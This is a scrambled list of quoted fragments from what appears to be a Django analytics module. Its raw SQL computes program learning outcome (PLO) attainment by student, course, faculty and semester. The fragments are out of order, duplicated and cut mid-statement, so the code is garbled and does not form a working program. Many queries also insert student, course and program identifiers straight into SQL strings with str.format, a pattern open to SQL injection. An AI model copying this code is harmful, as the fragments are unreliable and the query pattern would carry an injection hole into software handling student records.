"new_plo.append(plo.tolist()) return faculty, plonum, new_plo def getsemestercoursewisePLO(courseID, semesters): sem = ''; for semester", "== 'chart': temptable.append(np.round(100 * k[2] / k[4], 2)) found = True if not", "app_plo_t p, app_student_t s, app_program_t pr WHERE r.registrationID = e.registration_id and e.assessment_id =", "s.faculty_id = emp.employeeID and emp.user_ptr_id = u.id )f WHERE f.percentage >= 40 GROUP", "getprogramwiseploandcourses(program, semesters): sem = ''; for semester in semesters: sem += '\"' sem", "as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t r, app_assessment_t", "== 'report': temptable.append('N/A') elif category == 'chart': temptable.append(0) table.append(temptable) return plo, courses, table", "and emp.user_ptr_id = u.id )f GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row2", "for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum =", "row = cursor.fetchall() return row def getprogramwiseavgPLO(programID): with connection.cursor() as cursor: cursor.execute(''' SELECT", "p.ploID and p.program_id = '{}' GROUP BY p.ploID '''.format(programID)) row = cursor.fetchall() return", "+= '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.first_name, f.last_name,", "category == 'report': temptable.append(np.round(100 * k[2] / k[3], 2)) elif category == 'chart':", "attempted.append(record[0]) plonum = list(set(plonum)) acheived = np.array(acheived) attempted = np.array(attempted) new_acheived=[] for plo", "r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_student_t s, app_program_t pr", "plo in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program,", "BY f.plonum; '''.format(program, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT", "k in row: if j == k[0] and i == k[1]: if category", "\"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for i in courses:", "= '{}' '''.format(userID)) row = cursor.fetchall() return row def getstudentprogramwisePLO(studentID): with connection.cursor() as", "attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters): sem", "pr WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id", "co.plo_id = p.ploID and r.student_id = '{}' and s.studentID = r.student_id and s.program_id", "row = cursor.fetchall() return row def getcorrespondingstudentid(userID): with connection.cursor() as cursor: cursor.execute( '''", "'\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum,", "as cursor: cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r, app_assessment_t a,", "plo in failed_per: failed.append(plo.tolist()) return semester, plonum, acheived, failed def getplowisecoursecomparism(plos, semesters): sem", "in acheived_per: acheived.append(plo.tolist()) failed=[] for plo in failed_per: failed.append(plo.tolist()) return semester, plonum, acheived,", "f.course_id, COUNT(*) FROM ( SELECT p.ploNum as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage", "({}) and co.course_id ='{}' and s.course_id = co.course_id )f WHERE f.percentage >= 40", "list(set(courses)) plonum = list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo in acheived_per:", "= cursor.fetchall() return row def getcompletedcourses(studentID): with connection.cursor() as cursor: cursor.execute( ''' SELECT", "( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r,", "cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "'{}' GROUP BY p.ploID '''.format(programID)) row = cursor.fetchall() return row def getstudentprogramid(studentID): with", "if category == 'report': temptable.append('N/A') elif category == 'chart': temptable.append(0) table.append(temptable) return plo,", "plonum = list(set(plonum)) failed_per = 100 - acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per", "= '{}' GROUP BY r.student_id,p.ploID) derived WHERE r.student_id = derived.StudentID and e.registration_id =", "table.append(temptable) return plo, courses, table def getfacultycoursewisePLO(courseID, semesters): sem = ''; for semester", "= a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' GROUP", "and a.co_id=co.coID and co.plo_id = p.ploID and a.section_id = s.sectionID and s.semester IN", "ploo = ploo[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*) FROM", "record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum = list(set(plonum))", "= cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT p.ploNum", "SELECT studentID FROM app_student_t s WHERE s.user_ptr_id = '{}' '''.format(userID)) row = cursor.fetchall()", "temptable.append(np.round(100 * k[2] / k[3], 2)) elif category == 'chart': temptable.append(np.round(100 * k[2]", "app_evaluation_t e, app_section_t s WHERE r.registrationID = e.registration_id and r.section_id = s.sectionID and", "= p.ploID and p.program_id = prog.programID and prog.programName = '{}' and a.section_id =", "acheived.append(record[1]) for record in row2: attempted.append(record[0]) plonum = list(set(plonum)) acheived = np.array(acheived) attempted", "= r.student_id and s.program_id = pr.programID GROUP BY p.ploID '''.format(studentID)) row = cursor.fetchall()", "u.id )f GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row2 = cursor.fetchall() faculty", "SELECT DISTINCT s.faculty_id FROM app_section_t s WHERE s.course_id = '{}' ) and s.semester", "f.plonum; '''.format(sem, courseID)) row2 = cursor.fetchall() semester = [] plonum = [] acheived", "'{}' GROUP BY p.ploID '''.format(studentID, courseID)) row = cursor.fetchall() return row def getcoursewiseavgPLO(courseID):", "courseID)) row2 = cursor.fetchall() semester = [] plonum = [] acheived = []", "IN ( SELECT DISTINCT s.faculty_id FROM app_section_t s WHERE s.course_id = '{}' )", "record in row: table[courses.index(record[1])][plonum.index(record[0])] += record[2] table = table.tolist() return plonum, courses, table", "k[0] and i == k[1]: if category == 'report': temptable.append(np.round(100 * k[2] /", "plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p WHERE", "row2 = cursor.fetchall() faculty = [] plonum = [] plos1 = [] plos2", "'''.format(courseID, sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM ( SELECT u.first_name,", "list(set(faculty)) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos = np.array(plos) plos = np.split(plos,", "in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt))", "co.course_id ='{}' and s.course_id = co.course_id )f WHERE f.percentage >= 40 GROUP BY", "'chart': temptable.append(0) table.append(temptable) return plo, courses, table def getfacultycoursewisePLO(courseID, semesters): sem = '';", "semesters): sem = ''; for semester in semesters: sem += '\"' sem +=", "and p.ploNum = derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall() table =", "and a.co_id=co.coID and co.plo_id = p.ploID and a.section_id = s.sectionID and s.faculty_id IN", "sem)) row = cursor.fetchall() plonum = [] courses = [] counts = []", "( SELECT DISTINCT s.faculty_id FROM app_section_t s WHERE s.course_id = '{}' ) and", "cursor.execute( ''' SELECT distinct s.course_id FROM app_registration_t r, app_evaluation_t e, app_section_t s WHERE", "getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent", "s.sectionID and r.student_id = '{}' '''.format(studentID)) row = cursor.fetchall() return row def getcorrespondingstudentid(userID):", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and a.section_id = s.sectionID and s.semester", "new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters): sem =", "and co.plo_id = p.ploID and p.program_id = '{}' GROUP BY p.ploID '''.format(programID)) row", "row def getstudentallcoursePLO(studentID, category): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks),", "in courses: courses.append(entry[1]) courses.sort() plo = [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\", \"PLO5\", \"PLO6\", \"PLO7\",", "as Total, r.student_id as StudentID FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "record in row: plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) courses =", "= cursor.fetchall() faculty = [] plonum = [] plos1 = [] plos2 =", "'''.format(userID)) row = cursor.fetchall() return row def getstudentprogramwisePLO(studentID): with connection.cursor() as cursor: cursor.execute('''", "= [] acheived = [] all_cnt = [] for record in row1: semester.append(record[0])", "if not found: if category == 'report': temptable.append('N/A') elif category == 'chart': temptable.append(0)", "'''.format(studentID)) row = cursor.fetchall() return row def getprogramwiseavgPLO(programID): with connection.cursor() as cursor: cursor.execute('''", "p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co,", "cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks)) as plopercent FROM app_registration_t r, app_assessment_t a,", "and co.plo_id = p.ploID and co.course_id = '{}' GROUP BY p.ploID '''.format(courseID)) row", "f.percentage >= 40 GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row1 = cursor.fetchall()", "[] acheived = [] attempted = [] for record in row1: plonum.append(record[0]) acheived.append(record[1])", "= sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.plonum, COUNT(*) FROM ( SELECT", "row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT", "s.sectionID and s.faculty_id IN ( SELECT DISTINCT s.faculty_id FROM app_section_t s WHERE s.course_id", "= plos.tolist() faculty = list(set(faculty)) plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos =", "cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "\"PLO5\", \"PLO6\", \"PLO7\", \"PLO8\", \"PLO9\", \"PLO10\", \"PLO11\", \"PLO12\"] for i in courses: temptable", "cursor.execute(''' SELECT COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t", "app_plo_t p WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and", "if entry[1] not in courses: courses.append(entry[1]) courses.sort() plo = [\"PLO1\", \"PLO2\", \"PLO3\", \"PLO4\",", "and emp.user_ptr_id = u.id )f WHERE f.percentage >= 40 GROUP BY f.first_name, f.plonum;", "IN ({}) )f GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row2 = cursor.fetchall() courses", "True if not found: if category == 'report': temptable.append('N/A') elif category == 'chart':", "f.plonum; '''.format(program, sem)) row1 = cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*)", "row def getcompletedcourses(studentID): with connection.cursor() as cursor: cursor.execute( ''' SELECT distinct s.course_id FROM", "f.plonum; '''.format(program, sem)) row2 = cursor.fetchall() plonum = [] acheived = [] attempted", "table = np.zeros((len(courses), len(plonum))) for record in row: table[courses.index(record[1])][plonum.index(record[0])] += record[2] table =", "cursor.execute(''' SELECT f.semester, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT s.semester, p.ploNum as", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and r.student_id = '{}' GROUP BY", "temptable = [] if category == 'report': temptable = [i] for j in", "plos = np.array(plos) plos = np.split(plos, len(plos)/len(plonum)) new_plo=[] for plo in plos: new_plo.append(plo.tolist())", "= '{}' and s.studentID = r.student_id and s.program_id = pr.programID GROUP BY p.ploID", "= 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum = list(set(plonum)) failed_per = 100 - acheived_per", "plonum, acheived, failed def getplowisecoursecomparism(plos, semesters): sem = ''; for semester in semesters:", "+= '\"' ploo += plo ploo += '\",' ploo = ploo[:-1] with connection.cursor()", "= list(set(courses)) plonum = list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo in", "plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty = list(set(faculty)) plonum = list(set(plonum))", "new_plo def getsemestercoursewisePLO(courseID, semesters): sem = ''; for semester in semesters: sem +=", "cursor.fetchall() with connection.cursor() as cursor: cursor.execute(''' SELECT COUNT(*) FROM ( SELECT p.ploNum as", "f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks", "courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT COUNT(*) FROM ( SELECT u.first_name, u.last_name, p.ploNum", "cursor: cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT u.first_name,", "connection.cursor() as cursor: cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*) FROM ( SELECT p.ploNum as", "r.student_id and s.program_id = pr.programID GROUP BY p.ploID '''.format(studentID)) row = cursor.fetchall() return", "co.plo_id = p.ploID and a.section_id = s.sectionID and s.faculty_id IN ( SELECT DISTINCT", "p.ploID and r.student_id = '{}' and s.studentID = r.student_id and s.program_id = pr.programID", "s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t", "s.course_id = co.course_id )f GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row2 = cursor.fetchall()", "a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, accounts_user u, app_employee_t emp", ">= 40 GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row1 = cursor.fetchall() cursor.execute(''' SELECT", "sem += '\",' sem = sem[:-1] ploo = ''; for plo in plos:", "p.ploNum as ploNum,sum(a.totalMarks) as Total, r.student_id as StudentID FROM app_registration_t r, app_assessment_t a,", "record in row1: plonum.append(record[0]) acheived.append(record[1]) for record in row2: attempted.append(record[0]) plonum = list(set(plonum))", "WHERE f.percentage>=40 GROUP BY f.ploNum, f.course_id '''.format(program, sem)) row = cursor.fetchall() plonum =", "for plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[] for plo in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len,", "WHERE f.percentage >= 40 GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row1 = cursor.fetchall()", "f.ploNum, f.course_id; '''.format(ploo, sem)) row2 = cursor.fetchall() courses = [] plonum = []", "( SELECT p.ploNum as plonum, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t", "failed def getplowisecoursecomparism(plos, semesters): sem = ''; for semester in semesters: sem +=", "and p.ploNum in ({}) and a.section_id = s.sectionID and s.semester IN ({}) )f", "row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos = plos.tolist() faculty = list(set(faculty)) plonum =", "SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t e,", "r.student_id,p.ploID) derived WHERE r.student_id = derived.StudentID and e.registration_id = r.registrationID and e.assessment_id =", "in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum = list(set(plonum)) acheived_per", "e, app_co_t co, app_plo_t p, app_section_t s, app_program_t prog WHERE r.registrationID = e.registration_id", "len(plonum))) for record in row: table[courses.index(record[1])][plonum.index(record[0])] += record[2] table = table.tolist() return plonum,", "studentID FROM app_student_t s WHERE s.user_ptr_id = '{}' '''.format(userID)) row = cursor.fetchall() return", "as plopercent FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p", "f.first_name, f.last_name, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT u.first_name, u.last_name, p.ploNum as", "StudentID FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p WHERE", "list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) return courses,", "app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, app_program_t", "in attempted: new_attempted.append(plo.tolist()) plonum.sort() plonum.sort(key=len, reverse=False) return plonum, new_acheived, new_attempted def getprogramwiseploandcourses(program, semesters):", "prog WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id", "+= '\"' sem += semester sem += '\",' sem = sem[:-1] ploo =", "FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s", "({}) )f WHERE f.percentage>=40 GROUP BY f.ploNum, f.course_id '''.format(program, sem)) row = cursor.fetchall()", ">= 40 GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row1 = cursor.fetchall() cursor.execute('''", "and s.course_id = co.course_id )f GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row2 =", "f.ploNum, COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r,", "r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, app_program_t prog", "prog.programName = '{}' and a.section_id = s.sectionID and s.semester IN ({}) )f GROUP", "cursor: cursor.execute(''' SELECT p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "COUNT(*) as achieved_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as", "({}) )f GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row2 = cursor.fetchall() courses =", "e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and co.course_id", "'{}' GROUP BY r.student_id,p.ploID) derived WHERE r.student_id = derived.StudentID and e.registration_id = r.registrationID", "return faculty, plonum, new_plo def getsemestercoursewisePLO(courseID, semesters): sem = ''; for semester in", "( SELECT p.ploNum as ploNum,sum(a.totalMarks) as Total, r.student_id as StudentID FROM app_registration_t r,", "plonum = [] courses = [] counts = [] for record in row:", "row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) courses = list(set(courses)) plonum = list(set(plonum)) acheived_per =", "= '{}' '''.format(studentID)) row = cursor.fetchall() return row def getstudentallcoursePLO(studentID, category): with connection.cursor()", "connection.cursor() as cursor: cursor.execute(''' SELECT s.program_id FROM app_student_t s WHERE s.studentID = '{}'", "plos: ploo += '\"' ploo += plo ploo += '\",' ploo = ploo[:-1]", "and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.ploNum, f.course_id '''.format(program, sem))", "BY f.ploNum, f.course_id; '''.format(ploo, sem)) row2 = cursor.fetchall() courses = [] plonum =", "p.ploID '''.format(studentID)) row = cursor.fetchall() return row def getprogramwiseavgPLO(programID): with connection.cursor() as cursor:", "e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum", "cursor: cursor.execute(''' SELECT f.course_id, f.ploNum, COUNT(*) FROM ( SELECT s.course_id, p.ploNum, 100*e.obtainedMarks/a.totalMarks as", "= [] all_cnt = [] for record in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for", "cursor: cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*) FROM ( SELECT p.ploNum as plonum, s.course_id,", "return row def getcorrespondingstudentid(userID): with connection.cursor() as cursor: cursor.execute( ''' SELECT studentID FROM", "BY p.ploID '''.format(programID)) row = cursor.fetchall() return row def getstudentprogramid(studentID): with connection.cursor() as", "j in plo: found = False for k in row: if j ==", "in ({}) and a.section_id = s.sectionID and s.semester IN ({}) )f GROUP BY", "row2 = cursor.fetchall() courses = [] plonum = [] acheived = [] all_cnt", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = prog.programID and prog.programName", "and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and p.program_id =", "FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p WHERE r.registrationID", "emp WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id", "WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id =", "and s.course_id = co.course_id )f WHERE f.percentage >= 40 GROUP BY f.semester, f.plonum;", "SELECT f.semester, f.plonum, COUNT(*) as achieved_cnt FROM ( SELECT s.semester, p.ploNum as plonum,", "counts = [] for record in row: plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum)) plonum.sort()", "plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester))", "plonum = list(set(plonum)) plonum.sort() plonum.sort(key=len, reverse=False) plos = np.array(plos) plos = np.split(plos, len(plos)/len(plonum))", "return row def getstudentprogramwisePLO(studentID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum,100*(sum(e.obtainedMarks)/sum(a.totalMarks))", "p.ploNum in ({}) and a.section_id = s.sectionID and s.semester IN ({}) )f WHERE", "numpy as np def getstudentcoursewisePLO(studentID, courseID): with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum", ")f GROUP BY f.first_name, f.plonum; '''.format(courseID, sem, courseID)) row2 = cursor.fetchall() faculty =", "= s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.plonum; '''.format(program,", "acheived = np.array(acheived) attempted = np.array(attempted) new_acheived=[] for plo in acheived: new_acheived.append(plo.tolist()) new_attempted=[]", "'{}' GROUP BY p.ploID '''.format(courseID)) row = cursor.fetchall() return row def getcompletedcourses(studentID): with", "accounts_user u, app_employee_t emp WHERE r.registrationID = e.registration_id and e.assessment_id = a.assessmentID and", "app_section_t s, accounts_user u, app_employee_t emp WHERE r.registrationID = e.registration_id and e.assessment_id =", "== 'report': temptable = [i] for j in plo: found = False for", "- acheived_per acheived_per = np.split(acheived_per, len(acheived_per)/len(semester)) failed_per = np.split(failed_per, len(failed_per)/len(semester)) acheived=[] for plo", "a.co_id=co.coID and co.plo_id = p.ploID and p.program_id = prog.programID and prog.programName = '{}'", "[] counts = [] for record in row: plonum.append(record[0]) courses.append(record[1]) plonum = list(set(plonum))", "with connection.cursor() as cursor: cursor.execute(''' SELECT p.ploNum as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r,", "r.student_id = '{}' and co.course_id = '{}' GROUP BY p.ploID '''.format(studentID, courseID)) row", "r.registrationID = e.registration_id and r.section_id = s.sectionID and r.student_id = '{}' '''.format(studentID)) row", "s.user_ptr_id = '{}' '''.format(userID)) row = cursor.fetchall() return row def getstudentprogramwisePLO(studentID): with connection.cursor()", "p.ploID and r.student_id = '{}' and co.course_id = '{}' GROUP BY p.ploID '''.format(studentID,", "= cursor.fetchall() return row def getstudentallcoursePLO(studentID, category): with connection.cursor() as cursor: cursor.execute(''' SELECT", "p.ploID and p.ploNum in ({}) and a.section_id = s.sectionID and s.semester IN ({})", "s.course_id = co.course_id )f WHERE f.percentage >= 40 GROUP BY f.semester, f.plonum; '''.format(sem,", "'{}' '''.format(studentID)) row = cursor.fetchall() return row def getcorrespondingstudentid(userID): with connection.cursor() as cursor:", "'''.format(sem, courseID)) row2 = cursor.fetchall() semester = [] plonum = [] acheived =", "[] for record in row1: semester.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0])", "as plonum, avg(100*e.obtainedMarks/a.totalMarks) FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t", "for semester in semesters: sem += '\"' sem += semester sem += '\",'", "co.plo_id = p.ploID and r.student_id = '{}' GROUP BY r.student_id,p.ploID) derived WHERE r.student_id", "as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t", "with connection.cursor() as cursor: cursor.execute(''' SELECT f.first_name, f.last_name, f.plonum, COUNT(*) as achieved_cnt FROM", "and r.student_id = '{}' and s.studentID = r.student_id and s.program_id = pr.programID GROUP", "p.ploID and p.ploNum = derived.ploNum GROUP BY p.ploID,co.course_id '''.format(studentID)) row = cursor.fetchall() table", "app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co, app_plo_t p, app_section_t s, accounts_user", "all_cnt FROM ( SELECT s.semester, p.ploNum as plonum, s.course_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM", "[] courses = [] for entry in row: if entry[1] not in courses:", "cursor.fetchall() semester = [] plonum = [] acheived = [] all_cnt = []", "for record in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record in row2: all_cnt.append(record[0]) acheived_per", "= cursor.fetchall() plonum = [] courses = [] counts = [] for record", "and co.plo_id = p.ploID and p.ploNum in ({}) and a.section_id = s.sectionID and", "a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and co.course_id = '{}' GROUP BY", "for plo in plos: new_plo.append(plo.tolist()) return faculty, plonum, new_plo def getsemestercoursewisePLO(courseID, semesters): sem", "faculty.append(record[0]+' '+record[1]) plonum.append(record[2]) plos1.append(record[3]) for record in row2: plos2.append(record[0]) plos = 100*(np.array(plos1)/np.array(plos2)) plos", "[] all_cnt = [] for record in row1: courses.append(record[0]) plonum.append(record[1]) acheived.append(record[2]) for record", "s.sectionID and s.semester IN ({}) )f WHERE f.percentage >= 40 GROUP BY f.ploNum,", "p.ploID and a.section_id = s.sectionID and s.faculty_id IN ( SELECT DISTINCT s.faculty_id FROM", "''; for plo in plos: ploo += '\"' ploo += plo ploo +=", "BY f.plonum; '''.format(program, sem)) row2 = cursor.fetchall() plonum = [] acheived = []", "= list(set(courses)) courses.sort() table = np.zeros((len(courses), len(plonum))) for record in row: table[courses.index(record[1])][plonum.index(record[0])] +=", "as plonum, s.course_id, r.student_id, 100*e.obtainedMarks/a.totalMarks as percentage FROM app_registration_t r, app_assessment_t a, app_evaluation_t", "s.semester IN ({}) )f WHERE f.percentage >= 40 GROUP BY f.ploNum, f.course_id; '''.format(ploo,", "and e.assessment_id = a.assessmentID and a.co_id=co.coID and co.plo_id = p.ploID and co.course_id =", "co, app_plo_t p, app_student_t s, app_program_t pr WHERE r.registrationID = e.registration_id and e.assessment_id", "acheived_per = 100*(np.array(acheived)/np.array(all_cnt)) semester = list(set(semester)) plonum = list(set(plonum)) failed_per = 100 -", "sem += '\",' sem = sem[:-1] with connection.cursor() as cursor: cursor.execute(''' SELECT f.ploNum,", "r.student_id = derived.StudentID and e.registration_id = r.registrationID and e.assessment_id = a.assessmentID and a.co_id=co.coID", "pr.programID GROUP BY p.ploID '''.format(studentID)) row = cursor.fetchall() return row def getprogramwiseavgPLO(programID): with", "GROUP BY f.semester, f.plonum; '''.format(sem, courseID)) row2 = cursor.fetchall() semester = [] plonum", "cursor.execute(''' SELECT f.ploNum, f.course_id, COUNT(*) FROM ( SELECT p.ploNum as plonum, s.course_id, r.student_id,", "WHERE s.studentID = '{}' '''.format(studentID)) row = cursor.fetchall() return row def getstudentallcoursePLO(studentID, category):", "f.percentage >= 40 GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row1 = cursor.fetchall() with", "plo, courses, table def getfacultycoursewisePLO(courseID, semesters): sem = ''; for semester in semesters:", "= list(set(plonum)) acheived_per = np.split(acheived_per, len(acheived_per)/len(plonum)) acheived=[] for plo in acheived_per: acheived.append(plo.tolist()) return", "= s.sectionID and s.semester IN ({}) )f WHERE f.percentage>=40 GROUP BY f.ploNum, f.course_id", "category == 'report': temptable = [i] for j in plo: found = False", "a.co_id=co.coID and co.plo_id = p.ploID and p.ploNum in ({}) and a.section_id = s.sectionID", "= prog.programID and prog.programName = '{}' and a.section_id = s.sectionID and s.semester IN", "GROUP BY r.student_id,p.ploID) derived WHERE r.student_id = derived.StudentID and e.registration_id = r.registrationID and", "p.ploNum as ploNum,co.course_id,sum(e.obtainedMarks),sum(a.totalMarks), derived.Total FROM app_registration_t r, app_assessment_t a, app_evaluation_t e, app_co_t co,", "s.semester IN ({}) )f GROUP BY f.ploNum, f.course_id; '''.format(ploo, sem)) row2 = cursor.fetchall()", "cursor.fetchall() return row def getcompletedcourses(studentID): with connection.cursor() as cursor: cursor.execute( ''' SELECT distinct", "getcompletedcourses(studentID): with connection.cursor() as cursor: cursor.execute( ''' SELECT distinct s.course_id FROM app_registration_t r,", "and s.semester IN ({}) )f WHERE f.percentage >= 40 GROUP BY f.ploNum, f.course_id;", "in courses: temptable 